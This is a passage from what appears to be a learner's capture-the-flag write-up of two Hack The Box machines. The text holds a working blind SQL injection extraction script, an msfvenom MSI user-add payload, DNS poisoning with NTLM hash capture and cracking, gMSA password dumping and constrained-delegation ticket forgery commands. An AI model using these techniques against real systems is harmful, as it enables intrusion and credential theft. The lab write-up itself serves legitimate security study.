seem to have SeImpersonatePrivilege. So when you encounter either type of user, the first thing to do is run whoami /priv and then look for a Potato privilege-escalation path.\n18.Love Recon:\nsmb\nrpc\nmysql\nI couldn\u0026rsquo;t connect even with a password.\nPort 80 had a login page.\nPort 443 returned a 403. It might be using authentication from port 80, so I logged in there first and then tried accessing it again.\nhttp://10.10.10.239/admin/index.php\nhttp://10.10.10.239/index.php\nThese two pages use different endpoints. The home page expects an ID, while the admin page expects a username.\nDirectory traversal vulnerability.\nThe framework information is shown above.\nIt didn\u0026rsquo;t seem to exist.\nThis web app wasn\u0026rsquo;t built with any particular framework either, so all I could do was look for vulnerabilities in one of its components.\nThis was a voting system, and I was fairly sure the user login would have weak credentials. It expected a numeric ID, and I didn\u0026rsquo;t know how those IDs were assigned. Still, a voting system would surely have plenty of users, so weak passwords were bound to exist. Since I didn\u0026rsquo;t know where the IDs started, I began with the simplest combinations: IDs from 1 to 10000, paired with password, Password, 123456, and admin123.\nAt least I had the absolute xampp path now.\nThere really was an exploit, but it required an account and password.\nThe box was released on May 1, 2021, while this exploit came out on January 19, so it should work. The exploit didn\u0026rsquo;t give me much more information, though. If I could get into the admin panel, I could probably find my own route to RCE anyway.\nThe exploit included the target\u0026rsquo;s source code, and sure enough, it matched. I downloaded the source.\nhttps://www.sourcecodester.com/download-code?nid=12306\u0026amp;title=Voting+System+using+PHP%2FMySQLi+with+Source+Code\nWhat I couldn\u0026rsquo;t believe was that the box might expect me to find a vulnerability myself.\nThis SQL injection was painfully obvious. I couldn\u0026rsquo;t find a related exploit online, but the source code made everything click immediately.\nUnsurprisingly, the admin login worked the same way.\nThe password was the problem. I couldn\u0026rsquo;t bypass the login outright, so I could only use the injection to extract information. I first verified that the vulnerability really existed on the target and matched the source instead of having been patched.\nEntering 1 as the username returned a message saying the user couldn\u0026rsquo;t be found.\nWhen I entered 1' or 1=1#, it responded with this:\nWrong password. As I saw it, there were three possible paths.\nThe first was blind SQL injection. Blind injection is notoriously time-consuming, and all the responses were hardcoded, so blind injection was the only option here. The downside was that it would be extremely slow. The upside was that I already knew the admin panel had an RCE vulnerability, so I could extract the account and use it to get RCE there.\nThe second path, and the one I wanted to take, was to query the database privileges directly. If the database user was root, or otherwise had permission to create users or administrative privileges, I could simply create another user that allowed remote access.\nThe third was to write a shell directly. I already had the absolute path, so I only needed to check whether I had write permission.\nThe second option overlapped with both the first and third, so I decided to see whether I could create a user.\nThe localtion header would redirect immediately, but when I accessed this endpoint, it ran the entire query without breaking the time-based injection.\nIt didn\u0026rsquo;t take long to find another problem.\nIt threw an error whenever the return value was empty. That wasn\u0026rsquo;t a big deal in itself, because the query above had already run. At this point I had to take the first path. Extracting the username and password through blind injection was much easier than the other approaches now, and I already had an RCE route in the admin panel. First, though, I needed to confirm that the account was correct.\nIts validation logic was interesting too. At this endpoint, if my password was wrong, it stored my session in the database.\nThen, when I took that session and accessed index.php:\nI got a visible response. I could inject the username this way, but not the password. If I knew any valid password, I could log in successfully. For example, I tried a password on the voter login page and got straight in.\nThe PoC is at the end.\nDatabase name:\nThe first username was five characters long.\nThere was no second username.\nThere was no need to brute-force the account name anymore; I had already confirmed it was admin.\n\u0026rsquo; AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT username FROM admin))=5,5,0))))WYpt) AND \u0026lsquo;hBVQ\u0026rsquo;=\u0026lsquo;hBVQ\nI still added this to the script, though.\nThe source already showed the database structure, but I wanted to verify it.\n\u0026rsquo; AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT password FROM admin WHERE username=\u0026ldquo;admin\u0026rdquo;))=60,5,0))))WYpt) AND \u0026lsquo;hBVQ\u0026rsquo;=\u0026lsquo;hBVQ\nSixty characters. That was also visible in the source; I was just double-checking it.\nExtracting the password took far too long, so I\u0026rsquo;ll skip over a stretch of waiting here.\nThe script crashed when it reached this point. During the long wait, I tried to find out whether this step was even correct, but in practice nobody else had taken the same route I had.\nEven if I extracted the password, it was still a hash that I would have to crack, and the plaintext wasn\u0026rsquo;t in rockyou. Constant brute-forcing also made my connection to the box painfully slow. I\u0026rsquo;ll leave the PoC until the end.\nI only learned about the other way to get a shell after looking at a write-up, and it was much easier.\nChecking the certificate is a fairly standard idea, but I hadn\u0026rsquo;t done it at the time. That was a major mistake. There was a domain name here, so I added it to hosts.\nThere was a demo here.\nI could use SSRF to request local services and see whether any of the services identified above were listening there.\nI found the password at http:127.0.0.1:5000.\nOnce inside the admin panel, I followed the earlier RCE guide and went straight to the /voters_add.php endpoint.\nAll I had to do was create a new entry and upload the file. The filename stayed unchanged.\nI used nc to call the shell back to me.\nTime to escalate privileges.\nsysteminfo whoami/priv turned up nothing.\nwinPEASany found a few interesting things. At minimum, I needed to pay attention to everything highlighted in red.\nThe source file seemed to be gone.\nNo use. I couldn\u0026rsquo;t find it either.\nAuthenticated users could create directories and write files in the root of the C drive.\nThe same was true for c:\\administration.\nhttps://developer.aliyun.com/article/1227455\nThe vulnerability verification section of this blog post is a useful reference.\n1 powershell -exec bypass \u0026#34;import-module .\\powerup.ps1;Get-RegistryAlwaysInstallElevated\u0026#34; https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/AlwaysInstallElevated%E6%8F%90%E6%9D%83.md\nhttps://3gstudent.github.io/%E5%88%A9%E7%94%A8AlwaysInstallElevated%E6%8F%90%E6%9D%83%E7%9A%84%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90\nThese two posts would be useful later. First, I generated a malicious MSI.\n1 msfvenom -p windows/adduser USER=msi PASS=Pass@123 -f msi -o ./add.msi I transferred it to the target.\n1 msiexec.exe /quiet /qn /i add.msi 1 evil-winrm -i 10.10.10.239 -u msi -p Pass@123 Done.\nThe privilege-escalation part was pretty straightforward. Most of what I found consisted of blog posts introducing the vulnerability, and reading a few of them was enough to understand how it worked. During the shell stage, I forgot one crucial step: the HTTPS service had a certificate, and that certificate could contain a domain name. That domain might be the way in. Still, the SQL injection route was valid too. I got stuck on it for a long time. When extracting the 60-character password proved unbearably slow, I checked the next step in a write-up and realized I had gone completely the wrong way. Even if I got the password, it was still a hash. I searched rockyou for a match, but the password wasn\u0026rsquo;t there. In other words, even if I extracted all 60 characters, brute-forcing the plaintext afterward still wouldn\u0026rsquo;t work. The database user for the SQL injection was most likely root; I checked only whether the first letter was r and then left it alone. I tried adding another user to the database, but that didn\u0026rsquo;t work either. The SQL injection held me up for ages. Every payload I used here was based on payloads other people had posted; the ones I built myself simply didn\u0026rsquo;t work.\nFor example, with the one above, I copied the payload and found that it caused a delay. I then modified it into the version used in my PoC. None of my own attempts worked. Building the PoC after confirming the delay also took a lot of time, and running it took even longer. Brute-forcing with the Community Edition of burpsuite was painfully slow because it had no multithreading. I also tried appending all sorts of other commands, but none worked; the response would just return an error.\nAccording to the source, it executed the SQL statement before throwing the error. In theory, the SQL statement should have run.\nBut the result was that it never executed successfully.\nI used frp to tunnel port 3306 on the target to local port 6000.\nIt had a blank password. I connected to see whether anything I had tried earlier had actually worked.\nIt hadn\u0026rsquo;t.\nNeither had this.\nThat\u0026rsquo;s the end. I still need to work through more boxes and sharpen up my approach.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import requests cookies = { \u0026#39;PHPSESSID\u0026#39;: \u0026#39;c8kjhdoo2juviv0rfkgsop4tol\u0026#39;, } li = list(\u0026#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^\u0026amp;*()_+-=[]{}|;:,.\u0026lt;\u0026gt;?/~`\u0026#34;\\\u0026#39;\\\\\u0026#39;) # for i in li: # print(i) headers = { \u0026#39;Accept\u0026#39;: \u0026#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\u0026#39;, \u0026#39;Accept-Language\u0026#39;: \u0026#39;zh-CN,zh;q=0.9\u0026#39;, \u0026#39;Cache-Control\u0026#39;: \u0026#39;max-age=0\u0026#39;, \u0026#39;Content-Type\u0026#39;: \u0026#39;application/x-www-form-urlencoded\u0026#39;, # \u0026#39;Cookie\u0026#39;: \u0026#39;PHPSESSID=c8kjhdoo2juviv0rfkgsop4tol\u0026#39;, \u0026#39;Origin\u0026#39;: \u0026#39;http://10.10.10.239\u0026#39;, \u0026#39;Proxy-Connection\u0026#39;: \u0026#39;keep-alive\u0026#39;, \u0026#39;Referer\u0026#39;: \u0026#39;http://10.10.10.239/admin/index.php\u0026#39;, \u0026#39;Upgrade-Insecure-Requests\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36\u0026#39;, } # database # temp = \u0026#39;\u0026#39; # # for temp_number in range(1,11): # for i in li: # import time # start = time.time() # data = f\u0026#39;username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28database%28%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ\u0026amp;password=12\u0026amp;login=\u0026#39; # response = requests.post(\u0026#39;http://10.10.10.239/admin/login.php\u0026#39;, cookies=cookies, headers=headers, data=data) # end = time.time() # print(i,str(end-start)) # if end-start \u0026gt;= 5.0: # temp += i # print(temp) # break # # print(temp) # username # temp = \u0026#39;\u0026#39; # # for temp_number in range(1,6): # for i in li: # import time # start = time.time() # data = f\u0026#39;%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+username+FROM+admin%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ\u0026#39; # response = requests.post(\u0026#39;http://10.10.10.239/admin/login.php\u0026#39;, cookies=cookies, headers=headers, data=data) # end = time.time() # print(i,str(end-start)) # if end-start \u0026gt;= 5.0: # temp += i # print(temp) # break # # print(temp) temp = \u0026#39;\u0026#39; for temp_number in range(1,61): for i in li: import time start = time.time() data = f\u0026#39;username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+password+FROM+admin+WHERE+username%3D%22admin%22%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ\u0026amp;password=12\u0026amp;login=\u0026#39; response = requests.post(\u0026#39;http://10.10.10.239/admin/login.php\u0026#39;, cookies=cookies, headers=headers, data=data) end = time.time() print(i,str(end-start)) if end-start \u0026gt;= 5.0: temp += i print(temp) break print(temp) 19.Intelligence Recon:\nSince port 53 is open, I\u0026rsquo;ll start with port 80 to collect the domain name, then see where that leads.\nPort 80\nDomain: intelligence.htb\n53 domain\n135\nWe have limited access.\n1 rpcclient -U \u0026#34;\u0026#34; -c \u0026#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit\u0026#39; -N 10.10.10.248 Only enumprivs works, and it doesn\u0026rsquo;t return anything useful.\n139/445\nldap\nNothing useful here. I\u0026rsquo;d already collected this information earlier.\nThat\u0026rsquo;s pretty much all the services checked. Brute-forcing port 80 found nothing either, so I\u0026rsquo;ll take a closer look. The dnsenum command I just used brute-forces subdomains through port 53, but it returned no results. I\u0026rsquo;ll try brute-forcing them myself with FFUF.\n1 wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.248 -H \u0026#34;Host: FUZZ.intelligence.htb\u0026#34; --hh 7432 Then I turned my attention to UDP. Port 123 is the only UDP service that\u0026rsquo;s different, since UDP ports 53, 88, and 389 are no different from their TCP counterparts. I haven\u0026rsquo;t encountered NTP on port 123 before.\nhttps://book.hacktricks.xyz/network-services-pentesting/pentesting-ntp\nThere are payloads here.\nStill nothing useful.\nThis is really strange. After working through so many earlier boxes, I felt like I had a pretty thorough grasp of domain recon. But after collecting everything here, I have nothing besides the primary domain. Maybe I\u0026rsquo;m supposed to use an exploit?\nNo luck there either. I\u0026rsquo;m stuck.\nBut I did find two files on port 80.\nhttp://intelligence.htb/documents/2020-12-15-upload.pdf\nhttp://intelligence.htb/documents/2020-01-01-upload.pdf\nThere doesn\u0026rsquo;t seem to be anything in either file.\nNeither strings nor head revealed anything, and the PDFs themselves look empty too. I thought it might be a Caesar cipher, but decoding it went nowhere.\nStill nothing, and the domain didn\u0026rsquo;t turn up anything either.\nThis is tough. I was completely out of ideas, so I looked at the next step in the write-up.\nThis was my first time seeing this kind of text, and also my first time seeing this method of extracting detailed information. I\u0026rsquo;ll learn about both of them first.\nLorem Ipsum-style text generally contains repeated Latin words.\nPDF metadata analysis (using ExifTool) can extract metadata and reveal information.\nUnless you\u0026rsquo;re doing forensics, I don\u0026rsquo;t think this is something you\u0026rsquo;d normally expect here. At least now I know the entry point.\nI found two creators—two usernames—and both accounts do exist.\nNow that I have the accounts, I\u0026rsquo;ll use this.\nNothing.\nBased on how the PDFs on the website are named:\nhttp://dc.intelligence.htb/documents/2020-01-01-upload.pdf\nIt\u0026rsquo;s clear that the filename is based on the year, month, and day. There may be more hidden files like this, and I need to extract them.\nI started building a PoC.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import datetime import requests headers = { \u0026#39;Accept\u0026#39;: \u0026#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\u0026#39;, \u0026#39;Accept-Language\u0026#39;: \u0026#39;zh-CN,zh;q=0.9\u0026#39;, \u0026#39;Cache-Control\u0026#39;: \u0026#39;max-age=0\u0026#39;, # \u0026#39;If-Modified-Since\u0026#39;: \u0026#39;Thu, 01 Apr 2021 17:00:00 GMT\u0026#39;, # \u0026#39;If-None-Match\u0026#39;: \u0026#39;\u0026#34;0e86d731827d71:0\u0026#34;\u0026#39;, \u0026#39;Proxy-Connection\u0026#39;: \u0026#39;keep-alive\u0026#39;, \u0026#39;Referer\u0026#39;: \u0026#39;http://dc.intelligence.htb/\u0026#39;, \u0026#39;Upgrade-Insecure-Requests\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36\u0026#39;, } start_date = datetime.date(2020,1,1) end_date = datetime.date(2022,1,1) dalta = datetime.timedelta(days=1) date_list = [] while start_date \u0026lt; end_date: date_list.append(start_date) response = requests.get(f\u0026#39;http://intelligence.htb/documents/{start_date}-upload.pdf\u0026#39;, headers=headers) start_date += dalta if response.status_code == 200: print(f\u0026#39;http://intelligence.htb/documents/{start_date}-upload.pdf\u0026#39;) open(\u0026#39;./url.txt\u0026#39;,\u0026#39;a\u0026#39;,encoding=\u0026#39;utf-8\u0026#39;).write(f\u0026#39;http://intelligence.htb/documents/{start_date}-upload.pdf\\n\u0026#39;) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import PyPDF2 import requests from io import BytesIO import datetime headers = { \u0026#39;Accept\u0026#39;: \u0026#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\u0026#39;, \u0026#39;Accept-Language\u0026#39;: \u0026#39;zh-CN,zh;q=0.9\u0026#39;, \u0026#39;Cache-Control\u0026#39;: \u0026#39;max-age=0\u0026#39;, \u0026#39;Proxy-Connection\u0026#39;: \u0026#39;keep-alive\u0026#39;, \u0026#39;Referer\u0026#39;: \u0026#39;http://intelligence.htb/\u0026#39;, \u0026#39;Upgrade-Insecure-Requests\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36\u0026#39;, } start_date = datetime.date(2020,1,1) end_date = datetime.date(2022,1,1) dalta = datetime.timedelta(days=1) def Evidence(start_date): try: response = requests.get(f\u0026#39;http://intelligence.htb/documents/{start_date}-upload.pdf\u0026#39;, headers=headers) pdffile = PyPDF2.PdfFileReader(BytesIO(response.content)) docinfo = pdffile.getDocumentInfo() # print(\u0026#39;[*] PDF metadata For：\u0026#39;+ str(filepath)) for metaItem in docinfo: print(f\u0026#39;http://intelligence.htb/documents/{start_date}-upload.pdf\u0026#39;, end=\u0026#39; \u0026#39;) print(metaItem.strip(\u0026#39;/\u0026#39;), \u0026#34;:\u0026#34;, docinfo[metaItem]) open(\u0026#39;users.txt\u0026#39;, \u0026#39;a\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;).write(docinfo[metaItem] + \u0026#39;\\n\u0026#39;) except Exception as e: pass if __name__ == \u0026#39;__main__\u0026#39;: while start_date \u0026lt; end_date: Evidence(start_date) start_date += dalta One thing worth mentioning: if the headers include the following two values, the response will always be 304.\n1 2 # \u0026#39;If-Modified-Since\u0026#39;: \u0026#39;Thu, 01 Apr 2021 17:00:00 GMT\u0026#39;, # \u0026#39;If-None-Match\u0026#39;: \u0026#39;\u0026#34;0e86d731827d71:0\u0026#34;\u0026#39;, I tried to retrieve the hashes for SPN accounts, but there weren\u0026rsquo;t any. I still felt like I was missing something.\nI created a new test.py that downloads all the text from every PDF and writes it to test.txt, making it easier to inspect them one by one.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import PyPDF2 import requests from io import BytesIO import datetime headers = { \u0026#39;Accept\u0026#39;: \u0026#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\u0026#39;, \u0026#39;Accept-Language\u0026#39;: \u0026#39;zh-CN,zh;q=0.9\u0026#39;, \u0026#39;Cache-Control\u0026#39;: \u0026#39;max-age=0\u0026#39;, \u0026#39;Proxy-Connection\u0026#39;: \u0026#39;keep-alive\u0026#39;, \u0026#39;Referer\u0026#39;: \u0026#39;http://intelligence.htb/\u0026#39;, \u0026#39;Upgrade-Insecure-Requests\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36\u0026#39;, } start_date = datetime.date(2020,1,1) end_date = datetime.date(2022,1,1) dalta = datetime.timedelta(days=1) def Evidence(start_date): try: response = requests.get(f\u0026#39;http://intelligence.htb/documents/{start_date}-upload.pdf\u0026#39;, headers=headers) pdffile = PyPDF2.PdfFileReader(BytesIO(response.content)) docinfo = pdffile.getDocumentInfo() # print(\u0026#39;[*] PDF metadata For：\u0026#39;+ str(filepath)) for index, page in enumerate(pdffile.pages): # Iterate over all pages open(\u0026#39;test.txt\u0026#39;, \u0026#39;a\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;).write(f\u0026#39;http://intelligence.htb/documents/{start_date}-upload.pdf\\n\u0026#39;) open(\u0026#39;test.txt\u0026#39;, \u0026#39;a\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;).write(page.extract_text()+\u0026#39;\\n\\n\\n\\n\\n\\n\\n\u0026#39;) except Exception as e: pass if __name__ == \u0026#39;__main__\u0026#39;: while start_date \u0026lt; end_date: Evidence(start_date) start_date += dalta The code above draws on quite a few blog posts. This was my first time learning about the PyPDF2 library and the from io import BytesIO technique. When I first started writing it, I ran into plenty of dead ends: several libraries I found either didn\u0026rsquo;t work or were too cumbersome. The posts that helped me most are below. If you want to build these PoCs yourself, you\u0026rsquo;ll probably need to refer to them as well.\nhttps://blog.csdn.net/qq_39147299/article/details/125677918\nhttps://blog.csdn.net/weixin_43047908/article/details/115769321\nhttps://cloud.tencent.com/developer/article/1477328\nhttps://gist.github.com/ceaksan/25034d9bd4496ea953082d2cfa831ad1 # This one helped the most\nI found the default password, so now I can brute-force the accounts.\n1 2 3 NewIntelligenceCorpUser9876 crackmapexec smb 10.10.10.248 -u users.txt -p NewIntelligenceCorpUser9876 --continue-on-success I found only one valid credential.\n1 ntelligence.htb\\Tiffany.Molina:NewIntelligenceCorpUser9876 WinRM isn\u0026rsquo;t enabled on the target, so I can\u0026rsquo;t connect directly. Now that I have credentials, though, I can revisit all the services I checked earlier and collect more information with them.\nSMB\nI planned to use SYSVOL to recover passwords stored in Group Policy, but no passwords had been saved there.\nUsers is simply the Windows Users folder. The flag is shown below.\nSMB definitely won\u0026rsquo;t give me a shell, but looking at everything else, none of the other services seem any more promising for getting one. I guessed that the IIS web root might be somewhere under Users. I also found an IT folder containing a single file with the following contents.\n1 2 3 4 5 6 7 8 9 10 # Check web server status. Scheduled to run every 5min Import-Module ActiveDirectory foreach($record in Get-ChildItem \u0026#34;AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb\u0026#34; | Where-Object Name -like \u0026#34;web*\u0026#34;) { try { $request = Invoke-WebRequest -Uri \u0026#34;http://$($record.Name)\u0026#34; -UseDefaultCredentials if(.StatusCode -ne 200) { Send-MailMessage -From \u0026#39;Ted Graves \u0026lt;Ted.Graves@intelligence.htb\u0026gt;\u0026#39; -To \u0026#39;Ted Graves \u0026lt;Ted.Graves@intelligence.htb\u0026gt;\u0026#39; -Subject \u0026#34;Host: $($record.Name) is down\u0026#34; } } catch {} } That gave me an idea. It says this file runs every five minutes. If I could modify it, I could get a shell.\nBut I couldn\u0026rsquo;t delete the file or upload a replacement. I didn\u0026rsquo;t have permission, and the entire directory was unwritable. PowerShell has always been one of my weak spots, so I tried to work out what the script does.\n1 2 3 4 5 6 7 8 9 Import-Module ActiveDirectory foreach($record in Get-ChildItem \u0026#34;AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb\u0026#34; | Where-Object Name -like \u0026#34;web*\u0026#34;) { try { $request = Invoke-WebRequest -Uri \u0026#34;http://$($record.Name)\u0026#34; -UseDefaultCredentials if(.StatusCode -ne 200) { Send-MailMessage -From \u0026#39;Ted Graves \u0026lt;Ted.Graves@intelligence.htb\u0026gt;\u0026#39; -To \u0026#39;Ted Graves \u0026lt;Ted.Graves@intelligence.htb\u0026gt;\u0026#39; -Subject \u0026#34;Host: $($record.Name) is down\u0026#34; } } catch {} } Get-ChildItem retrieves every DNS name beginning with web, then iterates over them and sends a request to each target using the default credentials. If the response status isn\u0026rsquo;t 200, it sends an email from Ted.Graves@intelligence.htb to Ted.Graves@intelligence.htb saying that the service at that domain is down.\nWhen I saw that DNS was involved, I found dnstool.py. It\u0026rsquo;s the only DNS-related PoC I\u0026rsquo;d saved, but the command in my notes didn\u0026rsquo;t work.\nThe message here says I can add, modify, and delete AD-integrated DNS records, but I had no idea how to turn that into an exploit.\nIf I change a domain beginning with web to point to my machine and make its request fail, it will only send an email to itself. I can even see exactly how the email is constructed, so tampering with the domain doesn\u0026rsquo;t seem particularly useful to me.\nI went back to reading the PowerShell.\n1 $request = Invoke-WebRequest -Uri \u0026#34;http://$($record.Name)\u0026#34; -UseDefaultCredentials It sends a request to the target to check whether it\u0026rsquo;s alive, using the default credentials. What I couldn\u0026rsquo;t understand was why the request URL needed default credentials. Then it suddenly started to make sense: when accessing resources within a domain, credentials must be sent or the server returns a 401 asking for authentication. That\u0026rsquo;s why the -UseDefaultCredentials parameter is there. If we tamper with a domain in the DNS records, the target will send its request to us, allowing us to capture an NTLM or Kerberos credential hash and crack it.\nhttps://www.praetorian.com/blog/unconstrained-delegation-active-directory/\nI found the method for adding a record in this blog post.\nBut even after putting the command together, it still threw an error. Building the command from scratch was a little beyond me. Modifying an existing command wasn\u0026rsquo;t easy either, but at least there was less work and less room for error.\nI started reading the command documentation at https://github.com/dirkjanm/krbrelayx. After making some changes, the record was added successfully.\n1 python3 dnstool.py ldap://10.10.10.248:389 -u \u0026#39;intelligence.htb\\Tiffany.Molina\u0026#39; -p \u0026#39;NewIntelligenceCorpUser9876\u0026#39; -r webtest.intelligence.htb -a add -t A -d 10.10.16.14 But after waiting forever, nothing happened. I kept reading the parameters and compared my command with the original one.\n1 python3 dnstool.py -u \u0026#39;intelligence.htb\\Tiffany.Molina\u0026#39; -p \u0026#39;NewIntelligenceCorpUser9876\u0026#39; -r webtest.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248 Maybe I shouldn\u0026rsquo;t have added the LDAP port. I simply put the IP at the end instead.\nThis time it worked without any errors.\nIt turns out a valid record has an IP after it. The one above came from my earlier command and has no IP, which probably means it wasn\u0026rsquo;t actually created successfully. I wasn\u0026rsquo;t sure whether having two identical domain names, one with an IP and one without, would cause an error, so I created another domain beginning with web.\nI received the request, but why weren\u0026rsquo;t there any credentials? Maybe this wasn\u0026rsquo;t a real HTTP service. I tried starting a Flask server, and it could receive the request.\nStill no credentials. I tried Wireshark too, but that didn\u0026rsquo;t help at all.\nAt this point I was truly out of ideas. I glanced at the write-up, which mentioned a tool called Responder, so I started looking up how to use it.\n1 responder -I tun0 1 2 3 4 [HTTP] NTLMv2 Client : 10.10.10.248 [HTTP] NTLMv2 Username : intelligence\\Ted.Graves [HTTP] NTLMv2 Hash : Ted.Graves::intelligence:3b267a46c774400f:A842C01024C9E8EA01810E4BEE6A41F4:0101000000000000EC36E0307347DB010E813ACCADA649140000000002000800390045003800390001001E00570049004E002D005A004A004500570048003400470041003400540038000400140039004500380039002E004C004F00430041004C0003003400570049004E002D005A004A004500570048003400470041003400540038002E0039004500380039002E004C004F00430041004C000500140039004500380039002E004C004F00430041004C000800300030000000000000000000000000200000583346B9E2E4E1103C4197AA4C60C45E679C02E8DE8EC1AA5F81F4BAA6624FBB0A0010000000000000000000000000000000000009003A0048005400540050002F0077006500620074006500730074002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000 [*] Skipping previously captured hash for intelligence\\Ted.Graves NTLMv2 uses mode 5600, so I can call it directly.\n1 2 3 hashcat -m 5600 1.txt /usr/share/wordlists/rockyou.txt Ted.Graves:Mr.Teddy No problem there. Logging in directly was completely impossible, so I\u0026rsquo;ll use BloodHound to collect data remotely. I tried with the previous account, but it threw an error. Let\u0026rsquo;s see whether this account works.\nI searched Google and found that my parameters seemed to be wrong. I\u0026rsquo;d already identified the DC name as DC during recon, but it still gave me an error.\nhttps://blog.csdn.net/gitblog_00797/article/details/142076858\nThe payload in this post uses -ns to point to the DNS server.\n1 bloodhound-python -d intelligence.htb -u Ted.Graves -p Mr.Teddy -ns 10.10.10.248 -c all After analyzing the results, I found two interesting points.\nThe current user is in the administrator group, but UAC restrictions mean commands run with the current user\u0026rsquo;s privileges by default. To get administrator privileges, I would need to run one of the following commands from the command line.\n1 2 3 runas /user:administrator cmd.exe psexec -i -s cmd.exe Start-Process cmd.exe -Verb RunAs The prerequisite is having a shell, so this path is a dead end.\nThe second point was a constrained-delegation service account named SVC_INT$.\nI can use it to forge an administrator ST for a specific service. Now the path forward is clear.\nFor some reason, I couldn\u0026rsquo;t retrieve its hash. I looked more closely at the graph and found a second edge.\nI had no idea what this was. After searching Google, I found this post: https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword\n1 2 3 4 5 6 7 8 python gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb Users or groups who can read password for svc_int$: \u0026gt; DC$ \u0026gt; itsupport svc_int$:::8ee3b94d589dba78682293e1281bd394 svc_int$:aes256-cts-hmac-sha1-96:ba3ed0df6c5352e26ba7611354f901c89554733bab88094e8afbaca7368b3a80 svc_int$:aes128-cts-hmac-sha1-96:ab353763ac9cd6431a09819326a4daee I paused here to understand how this method works.\nFollowing this logic:\nOnly members of the ITSUPPORT@INTELLIGENCE.HTB group can use GMSA to retrieve the svc password. At first glance, the current user doesn\u0026rsquo;t have membership in that group.\nAt least, that\u0026rsquo;s what this page shows. I searched again.\nThere we go—the user is indeed a member of that group. It just wasn\u0026rsquo;t displayed earlier, which is why this works.\n1 2 ntpdate -u intelligence.htb \u0026amp;\u0026amp; date getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn cifs/intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT For some reason, this kept throwing an error. After thinking about it for a while, I realized constrained delegation should apply to one specific service, rather than whichever service I happen to want. I still needed to find the right one.\nFound it.\n1 2 ntpdate -u intelligence.htb \u0026amp;\u0026amp; date getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn WWW/dc.intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT That worked. Following the constrained-delegation tutorial, I first set the environment variable.\n1 2 export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache /usr/share/doc/python3-impacket/examples/wmiexec.py intelligence.htb/administrator@dc.intelligence.htb -k -no-pass Done.\nThis box took me longer than any other box I\u0026rsquo;ve worked on recently. I kept running into new concepts along the way, and by the end my head was 